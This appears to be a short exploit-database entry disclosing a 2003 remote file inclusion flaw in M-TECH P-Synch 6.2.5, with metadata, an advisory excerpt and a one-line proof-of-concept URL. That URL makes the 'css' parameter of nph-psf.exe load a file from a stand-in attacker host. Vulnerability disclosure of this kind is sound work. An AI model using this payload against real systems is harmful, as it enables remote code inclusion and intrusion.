M-TECH P-Synch 6.2.5 - 'nph-psf.exe?css' Remote File Inclusion

Author: JeiAr
type: webapps
platform: cgi
port: 
date_added: 2003-05-29
date_updated: 2012-11-14
verified: 1
codes: OSVDB-52979
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/7747/info

A remote file include vulnerability has been reported for P-Synch. Due to insufficient sanitization of some user-supplied URI variables, it is possible for a remote attacker to include a malicious file in a URL.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for a specific URI parameter.

https://path/to/psynch/nph-psf.exe?css=http://somesite/file